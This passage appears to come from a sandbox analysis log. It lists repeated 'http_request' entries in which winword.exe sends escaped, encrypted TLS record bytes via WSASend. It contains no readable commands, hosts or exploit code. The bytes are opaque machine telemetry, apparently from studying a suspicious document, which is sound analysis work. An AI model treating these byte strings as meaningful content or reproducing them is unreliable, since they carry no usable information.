  598. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l\\xa0s\\xb4\\x8d\\x86o\\xec\\xaf\\x8a\\xaa\\xfcn\\x17\\x11\\xb9\\x91\\xbef\\xf9\\x89\\x17\\xa1\\xba\\xc9\\xc2k\\x150-\\x8b%@\\\\xec~\\xff\\xf9\\x9c\\x04\\x89\\xa4\\xa0\\x95\\xe5q$\\x97:m\\xbdn;\\xf7\\x90\\xe7k\\x10r\\xee2\\xa0\\xec\\xaf\\x8e\\xc5\\x90\\xd8\\x06\\x0b^:o\\xf7v\\x02\\xcc\\xad\\xe4\\xc1r\\xc7l|e\\xd1\\xce\\x95y`\\xbf\\xcbtyb\\x8f\\xd4o\\x97j\"r\\xd2\\xcd\\x7f\\xf7\\xb0\\xf6k\\x9c\\xbf\\xc5'0\\x98h\\x19r|k\\x83d\\x0bx\\xa4\\xf2\\xfb\\xb9\\xe10\\x1dkj\\x05y\\x82,\\xe3\\x05%\\x1f\\x0f\\xc5\\xb6\\xfbs>urh\\xef\\x9b\\x81\\xddv\\xcc@\\xa1\\x99s\\xe5w\\x85\\xb1x\rr\\xc8\\x95\\xb7\\x8a\\xeeq\\xc2\\xc1`\\xb6\\xf3e\\xc7!\\x08\\x8e\\x81\\xbc\\xf7.\t\\x9bw%a\\x1e\\xf2\\xacynmc\\xc2~\\xd6\\xe7\\x91\\x82>\\xd5q`%\\xc4\\x90uzh\\xae\\xd2\\xaes\\x06\\xe1o\\a\\x15\\x87\\x19\\x8e\\x84\\xb3\\x86\\xde2\\xed\\xbff\\x12\\x9f\\xebj\\xa1\\xd42s\\xe6\\x8ek\\xdb\\xe9"
  599.  
  600.  
  601. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x88\\x16.\\xe9\\x02\\xe5a\\xbd\\x94\\xf1\\xc2\\x1cmd\\xe9n\\xf2m\\x98\\x9a\\xee\\xf4<\\xfd7a\\xc9\\xe8l\\x96\\xd3vu\\x90#\\xfarkq\\xa9/\\xa7\\xa8\\xcc@*\\xe0\\x8f\\xf50\\xbc\\xf8\\xe0\\xdbv\n\\xe3\\x05\\xeb\\x1d\\xd5\\xef\\xbd\\x01\"7\\x93\\xfed\\xfb\\x16\\xba\\xbcny-\\xff&q\\x9c(\\x7f\\x86\\xf9\\x88_#\\xa5\\xb9\\x9c\\xf9\\x98\\x86i\\xa24gn\\xb6\\x9b\\xb0l\\xbcf\\x86\t\\x8f\\xad\\xf2\\xc7\\xc0\\xce>-\\xb4\\xb6\\xdb\\xd4u\\xd2\\xf0\\x93s\\xc6!z\\xb5\\xa1\\xb4\\xbfg\\xe0!\\x02\\x8b\\x15~w\\xb0\\xf4w6\\xef\nss\\xbc\\x1c\\xca\\x96\\x84s\\xc7\\xc4y\\x8e\\xf0\\x86\\xb2n\\x08\\xd3\\x98$\\x1e<\\xb8\\xbe\\xb0\\x9a\\x1f\\x03\\xca\\xf1\\x1a\\x0b\\xb6\\x84\\xf4\\xf2\\x0b\\x1e\\x02\\x87\\x88\\xf1o\\x84\\xbe\\xa3\\xba\\xf4h\\x8d\\xdd\\x0b\\xfe\\xa3\\xa2\\x8d\\xabn\\xac\\x80\\xb1\\x8d\\xc8#m\\xb3p\\xc9\\x1c\\x03\\x8e\\xc1\\x85\\xba\\xbe.8\\x9fq\\x84\\x19\\xeci\\xe3t\\xfd\\xb8sd\\xf0\\x0fx33\\x99?\\xdc\\xe5\\xfe\\xbe\\xd8\\xcfr("
  602.  
  603.  
  604. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe6\\xd3rc\\xe5\\xc7z\\xe3k\\\\x84\\xec\\x86m\\xb7\\xc0\\xc5\\xe0zqo\\x1d\\x1a\\xe7q,\\xb6\\xfe\\xec\\xee\\x12\\x1f\\xcf\\xb0\\x18r\\xe2\\xc2\\xbe\\xcfy\\x90\\x86\\x9b\tr\\xa5\\xd1d%\\xdfg\\x06\\xc5\\x82cl.\\xce\\xb8j\\xb9in\\xfe\\xac\t\\xdc&4\\xb2\\x12\\x93x\\xafl\\xb0\\xd8\\xbeh\\x00c\\xb4\\xf5\\xbf;\\xc7\\xde\\x95+\\xff\\xab\\x1dds_\\x03\\xcf\\xa1\\xbb\\x9e\\x98)\\xeas\\x8a\\xac?$x'\\xe9\\xc9\\x0cirt\"\\xfa\\x98\\xf3k\\xad\\x1f\\xde\\xe7)\\x0eo\\xd5\\x14\\xf0#^\\xb3\\x95\\x93pi\tj4t\\x9f>\\x9a\\xe0&.\\xab0\\xee\\x97\\x9f\\xcb\\x0ec\\xc99\\x15\\xe0\\xfb\\x08g\\x1cah.\\x0b\\xe2\\x91\\x01\\x91\\xa4\\xa2\\xa9\\xb4\\x97\\xaew\\x04\\x8ew\\xdcpo\\x9b\\x90qp\\xdef\\x9f\\xaa\\x07\\xce\\x1f\\xa72\\x82\\xe0\\x84\\x0edpmb+\\xf1\\x83\\xb6f_\\x02\\xda0eb\\xca?@\"\\x12\\x1c\\xee\\xbb\\xaa8\\xe1\\xc5\\xc2\\x8b-\\xff\\xe1t\\x18\\xc2\\x8d\n\\xa6\\x85\\xd1\n\\x13>"
  605.  
  606.  
  607. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x89|\\xf1\\x81!\\xbc\\x91\\xfdpz*\\x0bq\\xd1\\xad\\x9c@8\\xa21\\xa2\\x80\\xe0\\xd8l\\xab\\x90\\xd1\\xaf\\x97\\x83\\xee\\xf1!\\xe1\\xad#&\\xe0\\xf7\\xbem?\\xb8\\xb7b\\xd9\\x03\\xa0\r\\x02\\xc4\\xd1&\\x15ylc5,\\x17h|\\xbd\\xed\\xcc\\xc5\\xb3\\xa9e\\xe1t\\xf9\\xac\\xefw\\xa9qqwm\\xf9zj\\xd00\\xaf5\\x02bt\\x9d \\x1f\\x14\\xdf!\\x0c\\xfc\\x86\\xd7^\\x94\\x12\\x1a\\xb1n4^y\\xb6p\\xc9\\xdb\\x83%\\x9f:\\x08\\xf8%\\x0f\\x1d\\x90<\\xacp:\tu\\x0f\\x84dy\\xf14\\xf5i99`\\x19\t\\x7f\\xac\\x92\\xa9\\xb7\\xd1\\xba\\xd1`\\xa6\\xb1\\x14\\x1f\\xfa_z\\xb9\\x88&\\x01\\x99\\xa0\\xcc\\xde\\xeda\\xa0\"\\x1f\\xbd3\\x19\\xa8\\x9e\\xccw\\xd2\\x85\\x04>\\x07\\x81\\xa2-m\\x0be\\xcbi\\x9b\\xba6wy\\x9e@`\\xecp\\xa8\\xed\r\\xab=9\\xdf\\xe3\\x84n\\x1e\\xdebp_\\x95\\xaf\\xdc0@\\xb6\\x96\\xa1\"\\xec~\\xdaj\\x8c\\xcc\\xd0\\xb693\\x12\\xfb\\xc4\\xf9yo)`y\\x98p\\xbc'\\xc3"
  608.  
  609.  
  610. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1d\\x1cz\\x9deht\\xb7\\xe4c#\\x89ji\\xf9\\x91\\xae<\\\\xf0/`\"\\xdd\\xeb\\xa7\\xee\\xab\\xb7\\\\xc7\\xb2g\\x06\t\\x87\\xd0\\xf7\\xd5\\xd8/%mol\\xf7\\xec\\xeb\\xfd\\xe4\\xf5\\xfd\\xb1\\x12e\\xa6\\xcc\\xccx>\\xa0.\\x9d\\x94q\\xa0\\xd6\\xa9\\xd9\\xeb\\x14\\xd6\\xf7\\x18u\\x8d\\xd5\\xad\\x93\\x0f\\xe75of<\\xec\\x0e\\xef\\xf61my\\xc4\\xab\\x84d\\xa9\\xcf\\x1a\\xc2\\xe6d\\xcd\\x89\\xbc\\xdd\\xce\\x91t\\xad\\x90\\xcc5+u\\x90\\xe6\\x1d\\x91\\x8b)\\x06\\x9a\\x8a\\xa4\\x98#m\\xb1$h\\x05\\xcb\\xf3,\\x90\\x93,\r\\xc8*aq\\xa1 \\xd6jv\\xd0_\\x13\\xb1x\\xbd\\x98\\x11\\xdd\\xd7\\xa0~\\xd9\\xa7\\x18\\xfa\\xd5'\\x10\\xefk\\x96\\xb1r\\x80\\xf3\\x9d\\x90\\x99e<\\xbc\\xb2\\xa9\\x9f\\x9e\\xc2\\xf9\\xb3l\t2an|\\x7f\\xd7by9\\x89\\xd88\\xd3raz$\\x17u\\xda\"\\x9d\\x9b\\x9f\\xd5k\\xb9\\xde9m/u\\x1a\\x9b\\xda\\xa5b\\xb5!sp\\x96zoc\\xf3\\xac9\\xb1\\x04|\\xe2\\^f\\x8a\\xf0\\xe7c\\x0c\\x99"
  611.  
  612.  
  613. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xff\\xc6\\xb1\\x06\\xb6\\xda\\xc3exf\\xff4:;\\x87:\\xef\\xb4\\xd8l\\x03p\\x9b\\x964\\x1a\\xb8\\x9fw\\xaf\\x81\\x8e\\xcaa^0\\xc4*z\\xa3\\xf1\\xcca\\xb3v\\xa9w\\x83\\xedf\\x8a\\x99\\x1a\\x01\\xd6\\x1ce\\xbe\\xd5gf\\xb0a\\xc7\\xa9\\xc9a\\xdf\\xd6\\xea\\x8cf\\x9b\\x8b\\x18x\\xf2\\x03=&\\xd6r@\\x8b\\x1cj\\x99\\xc1\\xdfz\r\\x95mrq\\x9a\\xc8\\x91\\x12\\xc6h\\xc1\\xdd\\x03\\x00\\xa9\\x13\\xc3z\\xb3\\xbc\\x1c\\xee\\x94\\x1a\\x912\\xde\r\\n\\xd8\\xd0\\xa1\\xae\\x899\\xc2\\x8c<'.\\xf8u\\xf0\\xb4`\\xc6\\xf4\\xb3\\xae\\xb8\\xe0\\xfc\\x83\\x86\\xe3\\xa1\\xec\\x16wd>\\x95\\xc9cn\\xba\\xb2\\xde9\n\\x9f\\xdf\\xe7\\xab~\\x05\\xba\\xaf\\xaa(h|\\xa5\\x0e\\x94\r\\x92\\xbd\n\\xf8\\x83\\x95dk\\xe2\\xf5w\\x87\r/<\\xa0o\\x94;\\xe4^\\xbe\\xb4\\x95f>\\xcc\\xb3\\xe5\\x06\\xd6r\\x11|\\xff\\xa4\\x00\\xb9v\\x149\\xce\\xab\\xb3\\x10\\xc2\\xbdh\\xf2l\\x8f\\xe8\\xfe\\xe2=r\\x8e0\r\\x07as\\xf8\\xcdk\\xaa\\xbbs"
  614.  
  615.  
  616. "http_request": "winword.exe_WSASend_\\xf0\\xaek\\x12@\\xfek\\x12'\\xb3-xfl\\xb1b\\xa9,\\x9b_\\xd6\\xc9\\xc2\\x8a\\x1e\\xd1r;\\x0c\\xc0<\\x93d\\x14\\xb2\\xfe\\x1doz(\\xa9\\xcdv_\\x0f\\xb9\\xe8t\\x00\\xf8\\xe4!=\\x94o\\xe2\\x83\\x08\\xd9\\x9e\\xa9\\xc8\\xa0.\\xe3\\x91\\xdb\\x81\\xdd\\x0c\\xac(\\xda\\xacv\\x806\\xeepb\\x0e\\xbd\\xf3\\xf8\\xb4\\x91\\x9f\\x87\\xcdy\\x87|\\xd2gaggxc\\x1f\\x1c\\xbb\\xd9\\x84e\\xba\\x87\\xec\\x9f\\xc8\\x1efh\\x84\\xea\\xd3!\\xc8\\xfd\\x02\\xe1\\x92%-$\\x8d4km\\xe8\\xb6\\x00\\xd7\\xee?\\x93\\x04\\xc8\\xda\\x18c\\xcc%\\xe4-\\x1b\\xb3\\xc2b\\xda>g\\x80bm>2\\xe2\\xcc,\\x1f\\xb2\\xca\\x997\\x84\\x7f/\\x179s\\xc3\\xcc>\\x05091fb@\\x03\\xc0\\xd9\\xca\\x11\\x14\\xef\\xa1\\xe6\\x0c'\\x01\\xd1\\x86\\x9fi(v \n\\x9e\\xc3\\xed\\xf4\\xfb\t\\xf8\\xac\t\\x8ed\\xee\\x91\\xe1\\xa1\"\\xe0b\\x16,\\xc6&\\x8cw\\x1a\\xb0k&9\\x06a\\x82\\x1b\\xba\\xdd\\xd4\\xa8\\x8b\\xb9\\x1a\\xa1\\x85yg\\xcb\\x88f\\x0c\\xfb.a\\xd8\\xbe"
  617.  
  618.  
  619. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010s\\xf5\\x83.6\\xa2+\\xf9\\xa2z!\\x00fkn>)<'r\\x19\\xc7*j\\x06\\xbe\"d\\u\\xfe\\x81\\xcb\\xd9g\\x03tr\\x86\\x9bku>\\x97\\x94\\xeb\\x85\\xd1g\\xabg\\x92\\xc4\\x86\\x1a\\xf4\\xbb!\\xe7u \\xb7\\xfb\\xb0\\x8b(\\x02\\xb1\\x19\\xcc\\xf6*\\xa5\\x96\\xdc\\xb7\\x13\\x97\\xe69\\xcb3m\\x07|\\xe6\\xe9n!j\\xc4'\\xe8\\xf2k\\xf7\\xd7\\xf6\n\\xb6\\xd4x\\xfc\\x12\\xa8\\xdd$g5p\\\\xbdy\\x11\\xbc\\x9a\\x96\\xcf\\x97z)0\\xa9\\x8e\\x17\\x18\\xca\\x0fo$\\x88\\x7f2&\\x1d*\\x9a5\\x01\\xdb)\\xbdj8\"\\xf7ha\\xde\\xa5>\\x0b\\x93\\x93\\x93&8\\xda\\xba?\\xef)\\xe1\\xc0\\xbd\\x1dl\\x94$ ~\\xdbr:\\x8d\\xa8\\x1b\\xe92\\xb5;$s\\xa5o\\xb6\\x8f|p\\xde\\xc8\\xd5\\xb0m\\xfd d_\\xa2c8-\\xcet\\x0bb-\\xb4x\\xe9\\x1d\\xf6\\x03\\xf1\\x06\\xf0\\xdcw\\xa5<\\xfft\\xa2v\\x8f$\\x11afp\\xc8\\xa7g\\xc58\\x81k\\xaf\\xa5k\\x83a\\xe8\\xf8"
  620.  
  621.  
  622. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l^\\xf4\\xdf\t|w\\xf8\\x8cj\\xed\\xbb)\\x84(?\\xb8\\x8b\\x08s\\xcb\\xbc;\\xca\\xb3\\x0e\\x00\\x9e/\\xfe\ng\\xe9\\x7f_\\x0f\\x1f!\\x83\\x91\\xdd\\x14)\\xb8\\x9c\\x00\\x81\\xf9x\\x99\\xa0\\x9cj\\xa7r2\\x13<z\\x0b\\x98\\x86m\\xd5\\xb5\\xdenz\\x0f\\xc4\\xf0\\x1f\\x81`\\x98\\x9d\th\\xcbeky\\xff\n\\x82\\x85\\x97\\xa1 \n\\x1d\\xa2j\\x97n\\xb1-\\xe3\\x96x\\x89w8\\xee\\xc7\\x99fv\\xa0\\xd2\\xfa~\\xd4\\xba\\x94\\xc3\\x07\\xf0#\\xdc\\xca2\\xfbrq\\xb8\\xe13\\x08\\x1f\\xa3<>\\xcb\\xc0\\xb8t\\\\xdb\\xeduv\\xb5\\xc5e\\x1b\\xce6\\xc4l\\x938o\\xa37g\\xf4\\xad\\x8a\\xef&\\x04\\xfdt\\xbe\\x89\\xe3l\\x83\\xdb!\\x08\\xd0.\\x82\\xee\\x13\\xe5<\\xe6\\x01\\xe9\\x92\\xba\\x85\\x11c\\x9a\\x07\\xa0\\xc1\\xcb\\xf0\\xf1\\xafu\\xde\\xd6\\x86z\\xed\\xd3\\xe7\to-\\x87\\xbd\\xf1\\x14i%\\x12\\xc5\\x05b\\xcb\\x05\\x04@\\x9cl=y\\x9f\\xd3\\xe1\\xf2\\xb9\\xa0\\xc9\\x85>dc\\x83\\xf86jr\\x7f\\xec\\xad\\x1ck\\xde\\x0c\t\\x00"
  623.  
  624.  
  625. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010eh\\xdb\\x88\\xec\\xaf\\xb4\\x14\\xf6;t0\\xd6\\xbb_\\xd3z\\x8e\\x8f\\x1d\\xf8\\xaeqk\\xb7:ba'\\xda\\x84\\xbdd\\x10\\x92\\x1eus\\x9et't5\\xf1/\\xb8\\x15s\\xe1\\xd2\\x81 \\xa7m\\xb7s\t\\xf7\\xf2et\\xdck?\\xc2%\\x90\\xc4\\x07\\x01?\\xf8\\x04\\xc5\\xc8f:\\xdd\\xce\\xbc\\xcfh\\x16\\xdb\\x12\\xe5\"\\xc0\\x93\\x97\\xb9\\xe1\\xd99\\xc5\n\\xb1\\xd7\\xeah\\x0ec\n\\xe0\\\\xf9j*\\xdflp\\xd3\\x1c6v\\xf1\\xf2\\x16;x\\x06\\xd0vl\\xf7\\x91\\xa9\\xd4\\xd9\\x1c%\\xa3\\xfd\\xaf\\xb1\\x9a\\x8en\\x9c=w\\xdej\\x13\tu\\x15\\x88w\\x92<+\r\\xe3\\xd0\\xfd#\r\\x99\\xbd\\xc8a\\xef>\\xe1q\\xa9\\x93g\\x9ca\\xcf\\xf6\\xdb\\xed\\x8d\\x9b%\\x0e\\x90\\x1d&a 3\\x93yw\\xe1\\x16\\x11\\xf2\r\\xea-\\xd7\\xc7\\xe3\\xb7\\xcf\\xd7\\xca)9\\xd6\\xab\\xdb\\xc5\\xf9\\xc78\\xd1\\xfesp\\xbcx\\xe5\\xd5,\\x01\\x14\\xf9\\xe2\\xd0\\x1a\\xe8\\xa9\\xf0\\xc9\\xe9\\xb3\\x17\\xc4\\x1f\\x1c\\x92\\x8a?\\xa0\\xd5\\xb2#\\xd9\\xf1"
  626.  
  627.  
  628. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xad\\xd2\\xe0r\\x8b#\\xf9\\xf2\\x9c6\\x9d\\x19\\xc8\\xe6\\xd6\\x0f\\x1d\\xde\\xa3u2w\\xeb\\xf9\\xf0\\xea\\x12\\xdco\\x04-\\xcab\\xa5*\\xc1l\\xe2)m\\xd9=\\xb9\\x07\\xb9\\x02jc\\x9d1\\x8d\\xb8^\\xb5\\xaad\"\\x86\\x1f\\x98\\x13\\xc3i\\x01n\\xbe<pft\\xac.0_\\xa3#\\xad\\x87v\\x0ej\\xc9\\xba\\xfb\\x07\\xff\\xbe\\xad^xw\\xeb\\x94\\xe2#\\xfek\\xfe\\xffu\\xbb0p\\xca8\\xdd\\x9cf\\xf5+\\xfb\\x1e\\x8by\\xc2;\\xf9m0\\xe4h\\x9cv\\xb7\\xda\\xd0\\xb7$\\xc8&\\x1c\\x99\\xfd\\x82\\xfa2\\xd7\\xd5\\xce\\xaam\\xd6\\xd9\\x86\\xd8ji\\xc9s\\xd1\\xfc\\xa7\\x85\\xc5\\xdf\\xb2c\\x98\\x87\\x19\\xcd\\x83ir\\x87\\xe6\\xfc\\xf2h\\xb2)\\xfc5^\\xc0 <\\xc1\\xf1\\xc4\\x8d1'\\xca\\x8c\\xe51\\x99\\\\xd8\\xef\\x9a\\xec\\xfd\\xfa\\xf1j23\\x1d\\xdd\\xec\\xf2\\xd3;\\xf7\\x90\\x17ap\\x92b\\x93v\\x1a\\xd5\\xcd\\x96\\x88\\xf8\\x03f\\x07\\xa4\\xdd\"\\xa3gk\\x93n\\x00~\\xb5\\x04\\xc9\\x04$\\xb6\\x98\\xee\\xa4\\xcf\\xd8\\x84"
  629.  
  630.  
  631. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\\\xc9_k\\xdfb\\xbb\\xf0p\\xdc\\xd7\\xdc\\x02\\x9c\\xe9\\xea\\xd0\\x0e\\xd1\\xfa\\x89\\x88\\xd5\\xc9\\xe6itc\\xfe\\x0c\\xdf#\\xa7\\xf3\\x9d\\xe3\\xbc\\xfc\\xd8\\xb9u\\xda\\x10o\\xf4\\x1bu\\x88\\xbf#\\xdf\\xf9\\x7fv\\xb1v*\\xafe\\x10\\x19\\xb13\\xdc\\xfb\\xa4\\x8b+\\x80\\xf8/l\\xd2\\x8ch\\xec\\x8a\\x01*\\xcb\\x1a\\x1e\\xe6m\\x00\\xba\\x82/ik\\xe2\\xdcm6\\xe7\\x186\\xca\\xd7\\xbch\\xfd\\x04\\xdao$ \\xcb\\xaa#/\\x0fvw\\x9a\\x0e\\xd7\\x9a\\xe0\\x19\\xae\\xbaj\\x10\"=\\x92\\x07\"\\xbeo\\x9dn\\xa3g\\xa0y\\xce\\xaa\\x8d\\x0c8\\x91\\xbdz\\xaf\\x9e@\\x05\\xb7\\xfd\\xeed\\xb9\\xdd\\xf4`1y;,\\xac\\xb2\\xd9(\\x9d&\\x18\\xd6\\xf4\\x03\"\\xdf@\\x83y\\xdf\\x9f\\xda\\x8d\\x7f\\xa8i\\xa8\\xe2\\x94\\x9cqb\\xa5l\\x90\\x05\\xa3\\xfa\\xf8j\\x8a-\\xea\\xdcr\\xdd\\x05v\\xde#\\xfc\\x88&\\xa5\\x11\\x95\\xf8\\x12\\xabc\\xa2\\xc7\\x8e)_%\\x8f\\x0chs\\xf5\\x89c\\x0b\\xd1\\xb8\\xf5\\x90vc\\xe7\\x1f\\xbd\\xe7n\\xbb\\xc4"
  632.  
  633.  
  634. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xae\\xbc\\xac9\\xa6n\\xe9\\x08\\xdc\\x8ab\\xfd\\xca\\xcd\\x06q\\x1e\\x808\\xe9b$\\xc7\\x14\\xdb\\xa8.\\xa8y\\x16%\\xf3\\x17\\x8ff\\xd8h\\xf6\\xd5\\xb1\\xc1b#\\x915\\xa7\\xd2\\xd5\\x7fvx\\x95\\xd3(g\\x7f\\xd5\\xf8u\\xc9\\x81\\xf5\\xa0\\x1e\\x8b\\x89\\x1cv$6`\\xc9\\x04\\x1a\\xf7\\xc3\\xf9\\x1d9\\x94/\\xb6-\\xe5^_\\x15\\x8c\\xa6p\\x0c\\xb4y\\xf7\\xa6\\xd8\\x90\\x16\r\\x17\\xcb\\xd9u\\x8a\\xe5\\xec\\x0cm>\\xab\\xdd\\x84\\x89.\\x0c\\xa0\\xfbd\\xa7\\x8do\\xec\n\\x15\\xd8\\xf5r6\\x00\\x00\\xeb\\xbd\\xd0\\x93\\x15\\xe7\\xbc\\xf5z\\x11\\x0e\\xba\\x81i\\x9a\\xde\\x9d\\xd5|9\\x85\\x87\\xa0\\x83\\x0bp\\x96l\\xe1d(\\x12c;x!\\xaf\\xa1\\xb4\\xcf0\\xd4\t\\xf5k_\\xbf\\x9e0\\xff_\\xc6\\x0e5f\\xe5o\\x04\\x05<\\xd9\\xc0\\x8fe\\xfa\\x97w\\xff\\xef\\x10 \\x88\\xc0e\\xc7\\xe6\\x98\\xa29\\x8f\\xd0\\x8f\\x11d\\xa0\\xd7&7\\xd3\\xc3w\\xd531\\xa8\\xbdf\\\\xa5p\\xaf\\xa6\\xbb\\x8du+\r-\\xf2)\\xc7)z\\xc0)*\\x01\\xbc4"
  635.  
  636.  
  637. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc8hec\\x1d\\xb3\\x1ev\\x9em\\x96\\x99\\xa8p?\\xd0\\xd6\\xf8\\x7f\\xc4\\xc2 \\x955\\xd9c\\xb4ljjp\\xe4n\\xf9\\xa1p\\x80h\\xde\\xbc\\xc8\\xa3\\x00\\x14i\\xaf\\xd8\\xf4\\xad,:\\xb5 kqbou_yru\\xaca\\x9e\\x06b\\x96\\xa3=\\x84\\x1e\\x02\\xe2\\xb5+\\xf5\\xc7\\xd5\\x03\\xe2\\xef\\xe8v\\xe5\\x84\\xa9\\x99\\xc1\\x05\\x87\\x9f\\xbc:tm5y\\x8f\ng\\xd2bx\\x1dxz\\xe4\\xf5n\\x1ft\\xc53\\xd9+\\x99\\xac\\xaa\\xea\\xe2j|\\xb6\\xf2we\\x9d\\x9d\\xf1\\x13\\xc7\\xe5\\xad\\xb9b\\x92a\\xa9\\x94\\x97\n9\\x10\\xfc\\xec\\x17z\\x1ea\\xc0s\\x04\\x8b\\xd6\\x9d\\x9f\\xa8p\\xd4\\x1e\\xae\\x1b3\\xbca\\xfc9%\\x1c!j=\\xbeu\\xc9\\xfb\\xd6\\xb4\\xb3\\xdd\\x88\\xaa\\xe4\\xd5\\xe2\\xb1q\\x99\\xc1\\x18\\xed\\xfem<\\xe5y-\\xcb5\\xf0w9\\x94\\x03\\xe3pm\\xff\\xc3*cl\\x80\\xc3+\\xc2\\xd3d;'\\xc4\\xcc\\xb4\\xcc\\xa7\\xaa\\xcb\\xb0\\xfc\\xe4\\xeck\\xdd\\x88q\\xa2z\\xfe\\x06\\x865\t\\xf4\\x13\\xaau"
  638.  
  639.  
  640. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe5\\xc7\\x953\\x17\\xc3\\xf5\\xca\\xd7\\x04\\xcfyj,\\xa9\\x15\\xf3\r\\xc8\\x857\\xfbn\\x91\\xe5 z\\x90\\x88r\\xec\\xe5\\xd2\\xd2_\\xaal\\xaaz\\xf43'\\x8c\\xcb\\xaflm;\\xbf\\x1b\\xaf\r\\xc3\\xab\\xc7\\xc1u\\xde\\x99\\x0e\\xc5ge\\xc9)\\x97;\\xe4\\x1f+\\xc9\\xc7\\xe0\\xe4\\x8a\\x8a0(\\x94\\x99\\x91\\xaf,\\xb02_\\x1ct\rjo\\xa3\\x0b\\xb8\\xef\\xa4\\xa5.c\\x99\\x83\\xa7 t\\x05\\xcb\tc\\x8c\\x02\\xfc\\xba\\xcb\\xa3\\x9a\\xc3s\\x81\\x00\\xb1\\xa1\\xa57/\\xd7`j|\\xa5\\xbb\\x85\\xb4\"\\xdb,\\x92\\xc2\\xdfn\\x85\\xe4w\\x8a\\xcd\\x05\\xf8sk\\x1e-\\xdc\\x86\\xd5\\x03\\x1f\\xd6\\x10\\x1f\\x14\\xce\\xc3\\xdf7\\x19f@y\\x9e\\xfa\\xab\\x97l\\xca\\x17\\x04\\xe3j\\xc9\\x03\\x82\\x8c\\x9ct\\xf2.\\x99\\x13#\\xa4|\\xf8\\x16p\\xedf\\x89k\\x1b\\x0f\\xcb.p_\\x93em\\x94g\\xdd\\xaau\\xb3\t\\x85\\x93p\\xe2f\\xed\\x94t\\x10\\xf7\\xdb-!?\\xa9`o\\xea\\xd5\\xe5\\xfb\\x06\\x8e\\x04+\\x18\\x80\\x95j"
  641.  
  642.  
  643. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x15h\\x96\\xb4z\\xa3j\\x19\\xc1e\\xef\\xb4e\\x84\\x18\\x98i\\xad\\xe7\\x99hz\\x8d\\xa1\\xe5f\\x13\\x14\\x81\\xde\\xdd\\x85al\\x95i\\x91z\\x10\\x95\\x16\\xb8f\\xc8t\\xb2\\x81-\\xff\\xb4\\xce\\xf5\\xec\\x90\\xe8(\\xed\\x15b\\x0c\\x10/_h\\x9a%\\x93\\xd89\\xa8*\\xba\\xf3\\xe7\\xcbd\\xc5\\xdc+\\x15\\xab\\x12\\xa0n\\x84\\x8ehut\\xd0r;\\xd0\\xfc6\\xd1\\xa4\\x1es&o.\\xd8\\x13\\xa8\n\\x16\\xdb`3?3\\x19\\x9d\\xd0%\\xfdj\\x0c\\xfc\\x80ptm#\\xaef\\xc6\\x84\\xa0\\xfc\\xb7\t\\xb3f^\\xac\\xd1\\x8a\\xe5\\x93\\xb22\\x80\\x8a6j\\-\\x96\\x18\\xc1\\xf4\\x08+(\\xc5\\x87\\xeds\\xfb\\x91g\\xb7\\x8f\\x08\\x93@b\\x1a\\xf3\\xbe~\\xca\\xffm\\xba\\xdbb`e\\x17q\\xc3s\\xcd\\xcc\\x02\ny\\xd8\\xfe*&m\\xfeu\\xa1~\\xbd\\x91\\x7f\\x11\\x97\t\\xe2\\xd0\\x8fjj\\xed$\\xcf-\\xb3\\xb0)g\\x1c\\xb4\\x8c\\xcd\\xe1\\xcd4\\xe2y\\xf4\\x19\\x06\\xb0\\xaf=\\x93f\\xf7\\x17a\\xad\\xf1\\xae_\\xf7ry\\x12\\x13"
  644.  
  645.  
  646. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdfy\\xbd\\xa7\\xf0x\\xdda@\\x0c\\xde\\xb9\\x19d\\x8dc\tn\\xd0-\\xbax\"\\xe8\\x13\\x0e\\x8d\\x02cz\\xe0\\xc7\\x07\\x1f\\xc6zn\\x12\\x03\\x7f\\xddi\\xf8\\xa7q\\xf8\\xb2q\\xc5k\\x11*\\x15\\x96n\\xcf\\x81m\\x91\\xb7\\xae\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x07\\x80\\x17&\\xe6y\\xf5\\xdfa\\xc7\\xc7=\\xb0\\xbc\\x8ez\\x97>i\\x92c\\xda\\xee\\xd0.\\xbei\\xa2ss=i6\\x95\\x17:\\xe4'3\\xb1\\xfa\\x1a6\\xe2q5\\xe4\\xc7"
  647.  
  648.  
  649. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf3b\\xc0\\xd5_f\\x13b\\xd6\\xc3i\\xa2\\xae\\xccv\\xf9k\\xda\\xd9\\xa1 \\xc5\\x8c\\xdbb$\\xc6\\xe82\\x12\\xeen\\xd3\\xfd\\x19\\xd6\\x0bv^\\xe3\\x06\\x93\\xb6\\x95;v\\x89\\x84\\xeb)\\x02\\xf0\\x9c/d\\xfbdg\\xc0x\\x12\\xad\\xaera\\xf2=\\xf5\\xe6v\\xf6\\x86\\x08\\xa3\\x99\\xbbq\\x15/\\xd4\\x84c\\xf1\\x9f*m\\xb4h\\xde\\x93\\x92\\x98*\\xcc\\x9d\\xd6\\x1b4zvm\\x84\\x10m1\r\\xd4p\\xe9\\x0f\\x1a\\xdd;\\x92\\xfd\\xcb\\xb8\\x9a\\xbb\\x0fzo\\xa7\\x8d\\x94\\xe2\\x14\\xe5j\\x7fc`#\\xef\\xe8\\x9c\\xa0\\xecqk\\xf9\\xdd\\x16d:w\\x03\\xc0m\\x9dl$\\xad\\x04v3\\xc0\\x89\\x8ce\\x94\\xee\\xf7\\\\x18\\xcc\\xbb\\xaa\\xd4\\xb7d\\xdd\\xd6@\\xb6.~~p\\xc6|\\x82g\\x1cj\\xae_\\xc9\\x91\\x07f\\xebf\\x1dw\\xa3\\xe2\\xd1-<\\xf4\\xec\\xaf\\xe6\\x05rb<